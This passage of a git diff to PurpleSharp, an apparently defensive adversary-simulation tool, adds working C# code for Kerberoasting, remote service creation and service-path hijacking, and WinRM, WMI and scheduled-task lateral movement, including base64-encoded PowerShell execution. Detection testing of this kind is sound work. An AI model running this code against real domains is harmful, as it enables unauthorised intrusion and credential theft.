case "T1124": - Simulations.Discovery.SystemTimeDiscovery(log); - break; + case "T1007": + Simulations.Discovery.SystemServiceDiscovery(log); + break; - //// Lateral Movement //// + case "T1033": + Simulations.Discovery.SystemUserDiscovery(log); + break; - //T1021.006 - Windows Remote Management - case "T1021.006": - Simulations.LateralMovement.WinRmCodeExec(playbook_task.host_target_total, playbook_task.task_sleep, log); - break; + case "T1049": + Simulations.Discovery.SystemNetworkConnectionsDiscovery(log); + break; - //T1021 - Remote Service - case "T1021": - Simulations.LateralMovement.CreateRemoteServiceOnHosts(playbook_task.host_target_total, playbook_task.task_sleep, playbook_task.cleanup, log); - break; + case "T1482": + if (playbook_task.variation == 1) Simulations.Discovery.DomainTrustDiscoveryCmd(log); + else Simulations.Discovery.DomainTrustDiscoveryPowerShell(log); + break; - //T1047 - Windows Management Instrumentation - case "T1047": - Simulations.LateralMovement.ExecuteWmiOnHosts(playbook_task.host_target_total, playbook_task.task_sleep, log); - break; + case "T1201": + Simulations.Discovery.PasswordPolicyDiscovery(log); + break; - // Collection + case "T1069.001": + Simulations.Discovery.LocalGroups(log); + break; - // Command and Control + case "T1069.002": + if (playbook_task.variation == 1) Simulations.Discovery.DomainGroupDiscoveryCmd(playbook_task, log); + else if (playbook_task.variation == 2) Simulations.Discovery.DomainGroupDiscoveryPowerShell(playbook_task, log); + else Simulations.Discovery.DomaiGroupDiscoveryLdap(playbook_task, log); + break; - // Exfiltration + case "T1012": + Simulations.Discovery.QueryRegistry(log); + break; - // Impact + case "T1518.001": + Simulations.Discovery.SecuritySoftwareDiscovery(log); + break; - // Other Techniques + case "T1082": + Simulations.Discovery.SystemInformationDiscovery(log); + break; + + case "T1124": + Simulations.Discovery.SystemTimeDiscovery(log); + break; - case "privenum": - Simulations.Discovery.PrivilegeEnumeration(playbook_task.host_target_total, playbook_task.task_sleep, log); - break; + //// Lateral Movement //// + + //T1021.006 - Windows Remote Management + case "T1021.006": + Simulations.LateralMovement.WinRmCodeExec(playbook_task, log); + break; + + //T1021 - Remote Service + case "T1021.002": + if (playbook_task.variation == 1) Simulations.LateralMovement.CreateRemoteServiceOnHosts(playbook_task, log); + else if (playbook_task.variation == 2) Simulations.LateralMovement.CreateRemoteServiceOnHosts(playbook_task, log); + else if (playbook_task.variation == 3) Simulations.LateralMovement.ModifyRemoteServiceOnHosts(playbook_task, log); + break; + // Collection + + // Command and Control + + // Exfiltration + + // Impact + + // Other Techniques + + case "privenum": + Simulations.Discovery.PrivilegeEnumeration(playbook_task.host_target_total, playbook_task.task_sleep, log); + break; + + default: + break; - default: - break; + } + } + else if (playbook_task.tactic.ToLower().Equals("lateral movement")) + { + switch (playbook_task.technique_id) + { + //T1053.005 - Scheduled Task + case "T1053": + if (playbook_task.variation == 1) Simulations.LateralMovement.CreateSchTaskOnHostsCmdline(playbook_task, log); + break; + + //T1047 - Windows Management Instrumentation + case "T1047": + Simulations.LateralMovement.ExecuteWmiOnHosts(playbook_task, log); + break; + + default: + break; + } } + } public static void ExecutePlaybook(SimulationPlaybook playbook, string log) { diff --git a/PurpleSharp/Simulations/CredAccess.cs b/PurpleSharp/Simulations/CredAccess.cs index 26b10d8..5ea5fd7 100644 --- a/PurpleSharp/Simulations/CredAccess.cs +++ b/PurpleSharp/Simulations/CredAccess.cs @@ -123,27 +123,58 @@ public static void RemoteDomainPasswordSpray(PlaybookTask playbook_task, string } } - public static void Kerberoasting(string log, int sleep) + public static void Kerberoasting(PlaybookTask playbook_task, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1558.003"); + List servicePrincipalNames; - - if (sleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between each service ticket request", sleep)); + if (playbook_task.task_sleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between each service ticket request", playbook_task.task_sleep)); try { - //NetworkCredential cred = null; - List spns; - spns = Ldap.GetSPNs(); + logger.TimestampInfo(String.Format("Querying LDAP for Service Principal Names...")); + servicePrincipalNames = Ldap.GetSPNs(); + logger.TimestampInfo(String.Format("Found {0} SPNs", servicePrincipalNames.Count)); - foreach (String spn in spns) + + if (playbook_task.variation == 1) { - Lib.SharpRoast.GetDomainSPNTicket(spn.Split('#')[0], spn.Split('#')[1], "", "", logger); - if (sleep > 0) Thread.Sleep(sleep * 1000); + logger.TimestampInfo(String.Format("Requesting a service ticket for all the {0} identified SPNs", servicePrincipalNames.Count)); + foreach (String spn in servicePrincipalNames) + { + SharpRoast.GetDomainSPNTicket(spn.Split('#')[0], spn.Split('#')[1], "", "", logger); + if (playbook_task.task_sleep > 0) Thread.Sleep(playbook_task.task_sleep * 1000); + } + logger.SimulationFinished(); + + } + else if (playbook_task.variation == 2) + { + var random = new Random(); + logger.TimestampInfo(String.Format("Requesting a service ticket for {0} random SPNs", playbook_task.user_target_total)); + + for (int i = 0; i< playbook_task.user_target_total;i++) + { + int index = random.Next(servicePrincipalNames.Count); + SharpRoast.GetDomainSPNTicket(servicePrincipalNames[index].Split('#')[0], servicePrincipalNames[index].Split('#')[1], "", "", logger); + if (playbook_task.task_sleep > 0) Thread.Sleep(playbook_task.task_sleep * 1000); + } + logger.SimulationFinished(); + } + else if (playbook_task.variation == 3) + { + var random = new Random(); + logger.TimestampInfo(String.Format("Requesting a service ticket for {0} defined SPNs", playbook_task.user_targets.Length)); + + foreach ( string spn in playbook_task.user_targets) + { + SharpRoast.GetDomainSPNTicket(spn.Split('#')[0], spn.Split('#')[1], "", "", logger); + if (playbook_task.task_sleep > 0) Thread.Sleep(playbook_task.task_sleep * 1000); + } + logger.SimulationFinished(); } - logger.SimulationFinished(); } catch (Exception ex) @@ -166,7 +197,6 @@ public static void LsassMemoryDump(string log) { logger.SimulationFailed(ex); } - } } diff --git a/PurpleSharp/Simulations/Execution.cs b/PurpleSharp/Simulations/Execution.cs index 63025b5..a767a5c 100644 --- a/PurpleSharp/Simulations/Execution.cs +++ b/PurpleSharp/Simulations/Execution.cs @@ -6,6 +6,24 @@ namespace PurpleSharp.Simulations { class Execution { + + static public void ExecuteWmiCmd(string log) + { + string currentPath = AppDomain.CurrentDomain.BaseDirectory; + Lib.Logger logger = new Lib.Logger(currentPath + log); + logger.SimulationHeader("T1047"); + logger.TimestampInfo("Using the command line to execute the technique"); + try + { + ExecutionHelper.StartProcessNET("wmic.exe", String.Format(@"process call create ""powershell.exe"""), logger); + logger.SimulationFinished(); + } + catch (Exception ex) + { + logger.SimulationFailed(ex); + } + + } static public void ExecutePowershellCmd(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; diff --git a/PurpleSharp/Simulations/ExecutionHelper.cs b/PurpleSharp/Simulations/ExecutionHelper.cs index e09ff69..8432a3a 100644 --- a/PurpleSharp/Simulations/ExecutionHelper.cs +++ b/PurpleSharp/Simulations/ExecutionHelper.cs @@ -53,7 +53,7 @@ public static void StartProcessApi(string binary, string cmdline, Lib.Logger log else logger.TimestampInfo("Could not start process!"); } - public static void StartProcessNET(string binary, string cmdline, Logger logger) + public static string StartProcessNET(string binary, string cmdline, Logger logger) { using (Process process = new Process()) @@ -62,11 +62,14 @@ public static void StartProcessNET(string binary, string cmdline, Logger logger) process.StartInfo.Arguments = cmdline; process.StartInfo.UseShellExecute = false; process.StartInfo.RedirectStandardOutput = true; + process.StartInfo.RedirectStandardError = true; logger.TimestampInfo(String.Format("Using the System.Diagnostics .NET namespace to execute '{0} {1}'", binary, cmdline)); process.Start(); logger.TimestampInfo(String.Format("Process successfully created. (PID): " + process.Id)); string standard_output; + string error_output; + string final_output=""; int i = 0; while ((standard_output = process.StandardOutput.ReadLine()) != null && i < 10) { @@ -74,12 +77,25 @@ public static void StartProcessNET(string binary, string cmdline, Logger logger) { //do something logger.TimestampInfo(standard_output); + final_output += standard_output; //Console.WriteLine(standard_output); i++; //break; } } + while ((error_output = process.StandardError.ReadLine()) != null && i < 10) + { + if (!error_output.Trim().Equals("")) + { + logger.TimestampInfo(error_output); + final_output += error_output; + i++; + //break; + } + } process.WaitForExit(); + return final_output; + } } public static void StartProcessAsUser(string binary, string cmdline, string domain, string username, string password) diff --git a/PurpleSharp/Simulations/LateralMovement.cs b/PurpleSharp/Simulations/LateralMovement.cs index 7d3c121..c6dfc58 100644 --- a/PurpleSharp/Simulations/LateralMovement.cs +++ b/PurpleSharp/Simulations/LateralMovement.cs @@ -1,5 +1,7 @@ -using System; +using PurpleSharp.Lib; +using System; using System.Collections.Generic; +using System.Linq; using System.Security.Principal; using System.Threading; using System.Threading.Tasks; @@ -9,10 +11,10 @@ namespace PurpleSharp.Simulations class LateralMovement { - static public void CreateRemoteServiceOnHosts(int nhost, int tsleep, bool cleanup, string log) + static public void CreateRemoteServiceOnHosts_Old(int nhost, int tsleep, bool cleanup, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1021"); logger.TimestampInfo("Using the Win32 API CreateService function to execute this technique"); @@ -21,7 +23,7 @@ static public void CreateRemoteServiceOnHosts(int nhost, int tsleep, bool cleanu var rand = new Random(); int computertype = rand.Next(1, 6); logger.TimestampInfo(String.Format("Querying LDAP for random targets...")); - List targethosts = Lib.Targets.GetHostTargets_old(computertype, nhost, logger); + List targethosts = Targets.GetHostTargets_old(computertype, nhost, logger); logger.TimestampInfo(String.Format("Obtained {0} target computers", targethosts.Count)); List tasklist = new List(); //Console.WriteLine("[*] Starting Service Based Lateral Movement attack from {0} as {1}", Environment.MachineName, WindowsIdentity.GetCurrent().Name); @@ -34,7 +36,7 @@ static public void CreateRemoteServiceOnHosts(int nhost, int tsleep, bool cleanu { tasklist.Add(Task.Factory.StartNew(() => { - LateralMovementHelper.CreateRemoteServiceApi(temp, cleanup, logger); + LateralMovementHelper.CreateRemoteServiceApi_Old(temp, cleanup, logger); })); if (tsleep > 0) Thread.Sleep(tsleep * 1000); } @@ -50,75 +52,78 @@ static public void CreateRemoteServiceOnHosts(int nhost, int tsleep, bool cleanu } } - static public void WinRmCodeExec(int nhost, int tsleep, string log) + static public void CreateRemoteServiceOnHosts(PlaybookTask playbook_task, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); - logger.SimulationHeader("T1021.006"); - logger.TimestampInfo("Using the System.Management.Automation .NET namespace to execute this technique"); + Logger logger = new Logger(currentPath + log); + logger.SimulationHeader("T1021.002"); + if (playbook_task.variation == 1) logger.TimestampInfo("Using sc.exe to execute this technique against remote hosts"); + else if (playbook_task.variation == 2) logger.TimestampInfo("Using the Win32 API CreateService function to execute this technique against remote hosts"); + + List host_targets = new List(); + List tasklist = new List(); + + if (playbook_task.serviceName.Equals("random")) + { + string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789".ToLower(); + Random random = new Random(); + logger.TimestampInfo("Using random Service Name"); + playbook_task.serviceName = new string(Enumerable.Repeat(chars, 8).Select(s => s[random.Next(s.Length)]).ToArray()); + } try { - var rand = new Random(); - int computertype = rand.Next(1, 6); - logger.TimestampInfo(String.Format("Querying LDAP for random targets...")); - List targethosts = Lib.Targets.GetHostTargets_old(computertype, nhost, logger); - logger.TimestampInfo(String.Format("Obtained {0} target computers", targethosts.Count)); - List tasklist = new List(); - //Console.WriteLine("[*] Starting WinRM Based Lateral Movement attack from {0} running as {1}", Environment.MachineName, WindowsIdentity.GetCurrent().Name); - if (tsleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", tsleep)); - - foreach (Computer computer in targethosts) + host_targets = Targets.GetHostTargets(playbook_task, logger); + foreach (Computer computer in host_targets) { Computer temp = computer; - if (!computer.Fqdn.ToUpper().Contains(Environment.MachineName.ToUpper())) + if (!computer.ComputerName.ToUpper().Contains(Environment.MachineName.ToUpper())) { tasklist.Add(Task.Factory.StartNew(() => { - LateralMovementHelper.WinRMCodeExecution(temp, "powershell.exe", logger); + if (playbook_task.variation == 1) LateralMovementHelper.CreateRemoteServiceCmdline(temp, playbook_task, logger); + else if (playbook_task.variation == 2) LateralMovementHelper.CreateRemoteServiceApi(temp, playbook_task, logger); })); - if (tsleep > 0) Thread.Sleep(tsleep * 1000); + if (playbook_task.task_sleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", playbook_task.task_sleep)); } } Task.WaitAll(tasklist.ToArray()); logger.SimulationFinished(); } - catch(Exception ex) + catch (Exception ex) { logger.SimulationFailed(ex); } } - static public void ExecuteWmiOnHosts(int nhost, int tsleep, string log) + static public void ModifyRemoteServiceOnHosts(PlaybookTask playbook_task, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); - logger.SimulationHeader("T1047"); - logger.TimestampInfo("Using the System.Management .NET API to execute this technique"); + Logger logger = new Logger(currentPath + log); + logger.SimulationHeader("T1021.002"); + logger.TimestampInfo("Using the Win32 API CreateService function to execute this technique against remote hosts"); + + List host_targets = new List(); + List tasklist = new List(); try { - var rand = new Random(); - int computertype = rand.Next(1, 6); - - logger.TimestampInfo(String.Format("Querying LDAP for random targets...")); - List targethosts = Lib.Targets.GetHostTargets_old(computertype, nhost, logger); - logger.TimestampInfo(String.Format("Obtained {0} target computers", targethosts.Count)); - List tasklist = new List(); - if (tsleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", tsleep)); + host_targets = Targets.GetHostTargets(playbook_task, logger); - foreach (Computer computer in targethosts) + foreach (Computer computer in host_targets) { Computer temp = computer; - if (!computer.Fqdn.ToUpper().Contains(Environment.MachineName.ToUpper())) + if (!computer.ComputerName.ToUpper().Contains(Environment.MachineName.ToUpper())) { + //LateralMovementHelper.ModifyRemoteServiceApi(temp, playbook_task, logger); + tasklist.Add(Task.Factory.StartNew(() => { - LateralMovementHelper.WmiCodeExecution(temp, "powershell.exe", logger); + LateralMovementHelper.ModifyRemoteServiceApi(temp, playbook_task, logger); })); - if (tsleep > 0) Thread.Sleep(tsleep * 1000); + + if (playbook_task.task_sleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", playbook_task.task_sleep)); } - } Task.WaitAll(tasklist.ToArray()); logger.SimulationFinished(); @@ -130,34 +135,117 @@ static public void ExecuteWmiOnHosts(int nhost, int tsleep, string log) } } - static public void CreateSchTaskOnHosts(int nhost, int sleep, bool cleanup) + + static public void WinRmCodeExec(PlaybookTask playbook_task, string log) { - /* - var rand = new Random(); - int computertype = rand.Next(1, 6); + string currentPath = AppDomain.CurrentDomain.BaseDirectory; + Logger logger = new Logger(currentPath + log); + logger.SimulationHeader("T1021.006"); + if (playbook_task.variation == 1) logger.TimestampInfo("Using powershell.exe to execute this technique against remote hosts"); + else if (playbook_task.variation == 2) logger.TimestampInfo("Using the System.Management.Automation .NET namespace to execute this technique"); - List targethosts = Lib.Targets.GetHostTargets(computertype, nhost); + List host_targets = new List(); List tasklist = new List(); - Console.WriteLine("[*] Starting Scheduled Task based Lateral Movement simulation from {0} running as {1}", Environment.MachineName, WindowsIdentity.GetCurrent().Name); - if (sleep > 0) Console.WriteLine("[*] Sleeping {0} seconds between attempt", sleep); - foreach (Computer computer in targethosts) + try { - if (!computer.Fqdn.ToUpper().Contains(Environment.MachineName.ToUpper())) + host_targets = Targets.GetHostTargets(playbook_task, logger); + + foreach (Computer computer in host_targets) { Computer temp = computer; - LateralMovementHelper.CreateRemoteScheduledTask(temp, "powershell.exe", cleanup); - - tasklist.Add(Task.Factory.StartNew(() => + if (!computer.Fqdn.ToUpper().Contains(Environment.MachineName.ToUpper())) { - LateralMovementHelper.CreateRemoteScheduledTask(computer, command, cleanup); - })); - if (sleep > 0) Thread.Sleep(sleep * 1000); - + tasklist.Add(Task.Factory.StartNew(() => + { + if (playbook_task.variation == 1) LateralMovementHelper.WinRMCodeExecutionPowerShell(temp, playbook_task, logger); + else if (playbook_task.variation == 2) LateralMovementHelper.WinRMCodeExecutionNET(temp, playbook_task, logger); + })); + if (playbook_task.task_sleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", playbook_task.task_sleep)); + } } + Task.WaitAll(tasklist.ToArray()); + logger.SimulationFinished(); } - //Task.WaitAll(tasklist.ToArray()); - */ + catch(Exception ex) + { + logger.SimulationFailed(ex); + } + } + static public void ExecuteWmiOnHosts(PlaybookTask playbook_task, string log) + { + string currentPath = AppDomain.CurrentDomain.BaseDirectory; + Logger logger = new Logger(currentPath + log); + logger.SimulationHeader("T1047"); + if (playbook_task.variation == 1) logger.TimestampInfo("Using wmic.exe to execute this technique against remote hosts"); + else if (playbook_task.variation == 2) logger.TimestampInfo("Using the System.Management .NET API to execute this technique"); + List host_targets = new List(); + List tasklist = new List(); + try + { + host_targets = Targets.GetHostTargets(playbook_task, logger); + foreach (Computer computer in host_targets) + { + Computer temp = computer; + if (!computer.Fqdn.ToUpper().Contains(Environment.MachineName.ToUpper())) + { + tasklist.Add(Task.Factory.StartNew(() => + { + if (playbook_task.variation == 1) LateralMovementHelper.WmiRemoteCodeExecutionCmdline(temp, playbook_task, logger); + else if (playbook_task.variation == 2) LateralMovementHelper.WmiRemoteCodeExecutionNET(temp, playbook_task, logger); + })); + if (playbook_task.task_sleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", playbook_task.task_sleep)); + } + } + Task.WaitAll(tasklist.ToArray()); + logger.SimulationFinished(); + } + catch (Exception ex) + { + logger.SimulationFailed(ex); + } + } + static public void CreateSchTaskOnHostsCmdline(PlaybookTask playbook_task, string log) + { + string currentPath = AppDomain.CurrentDomain.BaseDirectory; + Logger logger = new Logger(currentPath + log); + logger.SimulationHeader("T1053 - Lateral Movement"); + logger.TimestampInfo("Using schtasks.exe to execute this technique"); + List host_targets = new List(); + List tasklist = new List(); + + if (playbook_task.taskName.Equals("random")) + { + string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789".ToLower(); + Random random = new Random(); + logger.TimestampInfo("Using random Task Name"); + playbook_task.taskName = new string(Enumerable.Repeat(chars, 8).Select(s => s[random.Next(s.Length)]).ToArray()); + } + + try + { + host_targets = Targets.GetHostTargets(playbook_task, logger); + foreach (Computer computer in host_targets) + { + Computer temp = computer; + if (!computer.Fqdn.ToUpper().Contains(Environment.MachineName.ToUpper())) + { + tasklist.Add(Task.Factory.StartNew(() => + { + LateralMovementHelper.CreateRemoteScheduledTaskCmdline(temp, playbook_task, logger); + })); + if (playbook_task.task_sleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", playbook_task.task_sleep)); + } + + } + Task.WaitAll(tasklist.ToArray()); + logger.SimulationFinished(); + + } + catch (Exception ex) + { + logger.SimulationFailed(ex); + } } } diff --git a/PurpleSharp/Simulations/LateralMovementHelper.cs b/PurpleSharp/Simulations/LateralMovementHelper.cs index 9cf733d..fe48f5d 100644 --- a/PurpleSharp/Simulations/LateralMovementHelper.cs +++ b/PurpleSharp/Simulations/LateralMovementHelper.cs @@ -1,4 +1,5 @@ -using System; +using PurpleSharp.Lib; +using System; using System.ComponentModel; using System.Linq; using System.Management; @@ -6,24 +7,27 @@ using System.Management.Automation.Runspaces; using System.Runtime.InteropServices; using System.Security.Principal; +using System.Threading; using TaskScheduler; namespace PurpleSharp.Simulations { class LateralMovementHelper { + // From https://stackoverflow.com/questions/23481394/programmatically-install-windows-service-on-remote-machine - public static void CreateRemoteServiceApi(Computer computer, bool cleanup, Lib.Logger logger) + // and https://stackoverflow.com/questions/37983453/how-to-deploy-windows-service-on-remote-system-using-c-sharp-programatically + public static void CreateRemoteServiceApi_Old(Computer computer, bool cleanup, Lib.Logger logger) { - var scmHandle = WinAPI.OpenSCManager(computer.Fqdn, null, Structs.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE); + //var scmHandle = WinAPI.OpenSCManager(computer.Fqdn, null, Structs.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE); + var scmHandle = WinAPI.OpenSCManager(computer.ComputerName, null, Structs.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE); if (scmHandle == IntPtr.Zero) { DateTime dtime = DateTime.Now; int err = Marshal.GetLastWin32Error(); - //Console.WriteLine("{0}[{1}] Could not obtain a handle to SCM on {2}. Not an admin ?", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), computer.Fqdn); - logger.TimestampInfo(String.Format("Could not obtain a handle to SCM on {0}. Not an admin ?", computer.Fqdn)); - return; + logger.TimestampInfo(String.Format("Could not obtain a handle to the Service Control Manager on {0}.", computer.Fqdn)); + throw new Exception(); } string servicePath = @"C:\Windows\Temp\superlegit.exe"; // A path to some running service now @@ -38,7 +42,6 @@ public static void CreateRemoteServiceApi(Computer computer, bool cleanup, Lib.L { DateTime dtime = DateTime.Now; logger.TimestampInfo(String.Format("Created service '{0}' on {1} with 'CreateService' Win32 API", serviceName, computer.ComputerName)); - //Console.WriteLine("{0}[{1}] Successfully created a service on {2}", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), computer.Fqdn); if (cleanup) { @@ -52,9 +55,10 @@ public static void CreateRemoteServiceApi(Computer computer, bool cleanup, Lib.L logger.TimestampInfo(String.Format("The created Service: {0} was not deleted on {1} as part of the simulation", serviceName, computer.ComputerName)); } } - /* - if (!created) + + else { + // service was not created if (createdErr == 1073) { // Error: "The specified service already exists" @@ -113,15 +117,165 @@ public static void CreateRemoteServiceApi(Computer computer, bool cleanup, Lib.L } } - */ + + + WinAPI.StartService(svcHandleCreated, 0, null); + + + WinAPI.CloseServiceHandle(svcHandleCreated); + WinAPI.CloseServiceHandle(scmHandle); + } + + // From https://stackoverflow.com/questions/23481394/programmatically-install-windows-service-on-remote-machine + // and https://stackoverflow.com/questions/37983453/how-to-deploy-windows-service-on-remote-system-using-c-sharp-programatically + + public static void CreateRemoteServiceCmdline(Computer computer, PlaybookTask playbook_task, Logger logger) + { + string target = ""; + if (!computer.Fqdn.Equals("")) target = computer.Fqdn; + else if (!computer.ComputerName.Equals("")) target = computer.ComputerName; + else target = computer.IPv4; + + string createService = string.Format(@"\\{0} create ""{1}"" binpath= ""{2}""", target, playbook_task.serviceName, playbook_task.servicePath); + string runService = string.Format(@"\\{0} start ""{1}""", target, playbook_task.serviceName); ; + string deleteService = string.Format(@"\\{0} delete ""{1}""", target, playbook_task.serviceName); + string results = ExecutionHelper.StartProcessNET("sc.exe", createService, logger); + if (!results.Contains("Access is denied")) + { + ExecutionHelper.StartProcessNET("sc.exe", runService, logger); + if (playbook_task.cleanup) ExecutionHelper.StartProcessNET("sc.exe", deleteService, logger); + } + else + { + throw new Exception(); + } + + } + + public static void CreateRemoteServiceApi(Computer computer, PlaybookTask playbook_task, Logger logger) + { + var scmHandle = IntPtr.Zero; + int createdErr = 0; + + if (!computer.Fqdn.Equals("")) scmHandle = WinAPI.OpenSCManager(computer.Fqdn, null, Structs.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE); + else if (!computer.ComputerName.Equals("")) scmHandle = WinAPI.OpenSCManager(computer.ComputerName, null, Structs.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE); + else scmHandle = WinAPI.OpenSCManager(computer.IPv4, null, Structs.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE); + + if (scmHandle == IntPtr.Zero) + { + createdErr = Marshal.GetLastWin32Error(); + logger.TimestampInfo(String.Format("Could not obtain a handle to the Service Control Manager on {0}.", computer.Fqdn)); + throw new Win32Exception(createdErr); + + } + + IntPtr svcHandleCreated = IntPtr.Zero; + bool created = CreateService(scmHandle, playbook_task.servicePath, playbook_task.serviceName, playbook_task.serviceName, out svcHandleCreated, out createdErr); ; + + if (created) + { + logger.TimestampInfo(String.Format("Created service '{0}' on {1} with 'CreateService' Win32 API", playbook_task.serviceName, computer.ComputerName)); + + WinAPI.StartService(svcHandleCreated, 0, null); + logger.TimestampInfo(String.Format("Service '{0}' started on {1} with 'StartService' Win32 API", playbook_task.serviceName, computer.ComputerName)); + + if (playbook_task.cleanup) + { + IntPtr svcHandleOpened = WinAPI.OpenService(scmHandle, playbook_task.serviceName, Structs.SERVICE_ACCESS.SERVICE_ALL_ACCESS); + bool deletedService = WinAPI.DeleteService(svcHandleOpened); + logger.TimestampInfo(String.Format("Deleted service '{0}' on {1} with 'DeleteService' Win32API", playbook_task.serviceName, computer.ComputerName)); + WinAPI.CloseServiceHandle(svcHandleOpened); + } + else + { + logger.TimestampInfo(String.Format("The created Service: {0} was not deleted on {1} as part of the simulation", playbook_task.serviceName, computer.ComputerName)); + } + } - //WinAPI.StartService(svcHandleCreated, 0, null); + else + { + // service was not created + if (createdErr == 1073) + { + // Error: "The specified service already exists" + logger.TimestampInfo(String.Format("Failed to create service {0} on {1}. Service already exists", playbook_task.serviceName, computer.ComputerName)); + } + else + { + // Some other serice creation error + logger.TimestampInfo(String.Format("Failed to create service {0} on {1}.", playbook_task.serviceName, computer.ComputerName)); + throw new Win32Exception(createdErr); + } + + } WinAPI.CloseServiceHandle(svcHandleCreated); WinAPI.CloseServiceHandle(scmHandle); } + //Based on https://github.com/Mr-Un1k0d3r/SCShell + public static void ModifyRemoteServiceApi(Computer computer, PlaybookTask playbook_task, Logger logger) + { + var scmHandle = IntPtr.Zero; + int createdErr = 0; + int bytesNeeded = 0; + IntPtr qscPtr = IntPtr.Zero; + + + if (!computer.Fqdn.Equals("")) scmHandle = WinAPI.OpenSCManager(computer.Fqdn, null, Structs.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE); + else if (!computer.ComputerName.Equals("")) scmHandle = WinAPI.OpenSCManager(computer.ComputerName, null, Structs.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE); + else scmHandle = WinAPI.OpenSCManager(computer.IPv4, null, Structs.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE); + + if (scmHandle == IntPtr.Zero) + { + createdErr = Marshal.GetLastWin32Error(); + logger.TimestampInfo(String.Format("Could not obtain a handle to the Service Control Manager on {0}.", computer.Fqdn)); + throw new Win32Exception(createdErr); + } + if (!playbook_task.serviceName.Equals("random")) + { + IntPtr svcHandleOpened = WinAPI.OpenService(scmHandle, playbook_task.serviceName, Structs.SERVICE_ACCESS.SERVICE_ALL_ACCESS); + if (svcHandleOpened == IntPtr.Zero) + { + logger.TimestampInfo(String.Format("Could not obtain a handle to remote Service {0}.", playbook_task.serviceName)); + throw new Win32Exception(createdErr); + } + Structs.QueryServiceConfig qscs = new Structs.QueryServiceConfig(); + int retCode = WinAPI.QueryServiceConfig(svcHandleOpened, qscPtr, 0, ref bytesNeeded); + if (retCode == 0 && bytesNeeded == 0) + { + throw new Win32Exception(); + } + + qscPtr = Marshal.AllocCoTaskMem((int)bytesNeeded); + retCode = WinAPI.QueryServiceConfig(svcHandleOpened, qscPtr, bytesNeeded, ref bytesNeeded); + logger.TimestampInfo(String.Format("Got handle for remote Service {0}.", playbook_task.serviceName)); + qscs = (Structs.QueryServiceConfig)Marshal.PtrToStructure(qscPtr, new Structs.QueryServiceConfig().GetType()); + string originalBinaryPath = Marshal.PtrToStringAuto(qscs.binaryPathName); + logger.TimestampInfo("Original binary path " + originalBinaryPath); + + bool serviceChanged = WinAPI.ChangeServiceConfig(svcHandleOpened, 0xFFFFFFFF, 0x00000003, 0, playbook_task.servicePath, null, null, null, null, null, null); + if (!serviceChanged) + { + logger.TimestampInfo(String.Format("Could not modify remote Service '{0}'.", playbook_task.serviceName)); + throw new Win32Exception(createdErr); + } + logger.TimestampInfo(String.Format("Succesfully modified remote Service '{0}' using ChangeServiceConfig.", playbook_task.serviceName)); + + WinAPI.StartService(svcHandleOpened, 0, null); + logger.TimestampInfo(String.Format("Service '{0}' started with new ServicePath {1}", playbook_task.serviceName, playbook_task.servicePath)); + Thread.Sleep(3000); + + serviceChanged = WinAPI.ChangeServiceConfig(svcHandleOpened, 0xFFFFFFFF, 0x00000003, 0, originalBinaryPath, null, null, null, null, null, null); + if (serviceChanged) + { + logger.TimestampInfo(String.Format("Restored remote Service '{0}' to the original path.", playbook_task.serviceName)); + } + } + } + + // From https://stackoverflow.com/questions/23481394/programmatically-install-windows-service-on-remote-machine static bool CreateService(IntPtr scmHandle, string servicePath, string serviceName, string serviceDispName, out IntPtr serviceHandleCreated, out int errorCodeIfFailed) { @@ -151,23 +305,43 @@ static bool CreateService(IntPtr scmHandle, string servicePath, string serviceNa return serviceHandleCreated != IntPtr.Zero; } - public static void WinRMCodeExecution(Computer computer, string command, Lib.Logger logger) + public static void WinRMCodeExecutionPowerShell(Computer computer, PlaybookTask playbook_task, Logger logger) { + string target = ""; + if (!computer.Fqdn.Equals("")) target = computer.Fqdn; + else if (!computer.ComputerName.Equals("")) target = computer.ComputerName; + else target = computer.IPv4; + + string cleanPws = String.Format("Invoke-Command -ComputerName {0} -ScriptBlock {{ {1} }}", target, playbook_task.command); + logger.TimestampInfo(String.Format("Using plaintext PowerShell command: {0}", cleanPws)); + var plainTextBytes = System.Text.Encoding.Unicode.GetBytes(cleanPws); + string results = ExecutionHelper.StartProcessNET("powershell.exe", String.Format("-enc {0}", Convert.ToBase64String(plainTextBytes)), logger); + + if (results.Contains("AccessDenied")) throw new Exception(); + } + + public static void WinRMCodeExecutionNET(Computer computer, PlaybookTask playbook_task, Logger logger) + { + + string target = ""; + if (!computer.Fqdn.Equals("")) target = computer.Fqdn; + else if (!computer.ComputerName.Equals("")) target = computer.ComputerName; + else target = computer.IPv4; + try { - var connectTo = new Uri(String.Format("http://{0}:5985/wsman", computer.Fqdn)); + var connectTo = new Uri(String.Format("http://{0}:5985/wsman", target)); + 